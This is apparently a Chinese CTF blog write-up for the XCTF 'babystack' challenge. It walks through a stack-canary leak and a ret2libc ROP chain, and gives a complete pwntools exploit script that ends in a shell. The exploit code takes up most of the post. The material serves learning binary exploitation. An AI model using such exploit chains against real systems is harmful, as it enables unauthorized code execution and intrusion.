XCTF-CHALLENGE-PWN100

1:checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge/pwn100$ checksec babystack
[*] '/home/hunter/PWN/XCTF/xctf_challenge/pwn100/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

差点保护全开,有点狠

2:IDA

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char s; // [rsp+10h] [rbp-90h]
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 128uLL);
  while ( 1 )
  {
    sub_4008B9();                               // 输出菜单
    v3 = sub_400841();                          // 读取选项
    switch ( v3 )
    {
      case 2:
        puts(&s);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, &s, 256uLL);                    // 存在溢出可能
        break;
      default:
        sub_400826("invalid choice");
        break;
    }
    sub_400826((const char *)&unk_400AE7);
  }
}

用IDA观察后,整个程序没有system binsh,也没有后门加上出题者给出了libc文件,没得说的这是ret2libc类型。

3:执行情况

hunter@hunter:~/PWN/XCTF/xctf_challenge/pwn100$ ./babystack 
--------
1.store
2.print
3.quit
--------
>> 1
AAAAAAAAAAAAAA

--------
1.store
2.print
3.quit
--------
>> 2
AAAAAAAAAAAAAA


--------
1.store
2.print
3.quit
--------
>> 

4:思路

  • 程序在读入时存在溢出,但有cookie的存在所以我们得先想办法泄露cookie。
  • cookie泄露很简单只要store ‘A’(0x90-0x8) ,即sh.sendline( ‘A’(0x90-0x8))。后面的’\n’将覆盖cookie的末尾\x00,然后print选项即可。
  • 得到cookie我们再次store来构造payload泄露真实地址,获取libc版本:payload1 = ‘B’(0x90-0x8) + p64(cookie) + ‘B’8 + p64(pop_rdi_ret) 最后面的地址时main函数,我们还需要进行一次攻击
  • payload1 += p64(libc_start_main_got) + p64(puts_plt) + p64(0x00000400908)
  • 用LicbSearcher获取libc版本,地址,从而得到system binsh地址
  • 再次store放入system binsh payload
  • 3quit 实现跳转

要注意这个程序得自己来实现最后的 return 0;也就是3选项

5:EXP

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('babystack')
libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000400a93
ret = 0x000000000040067e

sh = process('./babystack')
#sh = remote('220.249.52.133',37000)
sh.recv()
sh.sendline('1')

print "##############leaking cookie#################"
payload = 'A'*(0x90-0x8)
sh.sendline(payload)
print sh.recv()
sh.sendline('2')
print sh.recv(0x90-0x8)
cookie = u64(sh.recv(8))-0xa
print hex(cookie)
print sh.recv()

print "##############leaking real addr#################"
sh.sendline('1')
payload1 = 'B'*(0x90-0x8) + p64(cookie) + 'B'*8 + p64(pop_rdi_ret)
payload1 += p64(libc_start_main_got) + p64(puts_plt) + p64(0x00000400908)
#gdb.attach(sh)
sh.sendline(payload1)
print sh.recvuntil('>> ')
sh.sendline('3')
libc_start_main =  u64(sh.recv(6)+'\x00'*2)
print hex(libc_start_main)
print type(libc_start_main)

libc = LibcSearcher('__libc_start_main',libc_start_main)
libc_addr = libc_start_main - libc.dump('__libc_start_main')
print "libc_addr==>"+str(hex(libc_addr))
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')

print sh.recv()

print "##############fina attack#################"
sh.sendline('1')
payload2 = 'C'*(0x90-0x8) + p64(cookie) + 'C'*8
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

sh.sendline(payload2)
sh.sendline('3')
sh.interactive()

结果:
>> $ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

我在本地测试是完全没问题的但,换成远程就不行了,我觉的是对面的服务器抽风了


  转载请注明: Squarer XCTF-CHALLENGE-PWN100

 上一篇
Ret2dlresolve原理理解 Ret2dlresolve原理理解
延迟绑定技术因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正
2020-08-17
下一篇 
XCTF-CHALLENGE-WELPWM XCTF-CHALLENGE-WELPWM
1:checksechunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec welpwn [*] '/home/hunter/PWN/XCTF/xctf_challenge/welpwn'
2020-07-19
  目录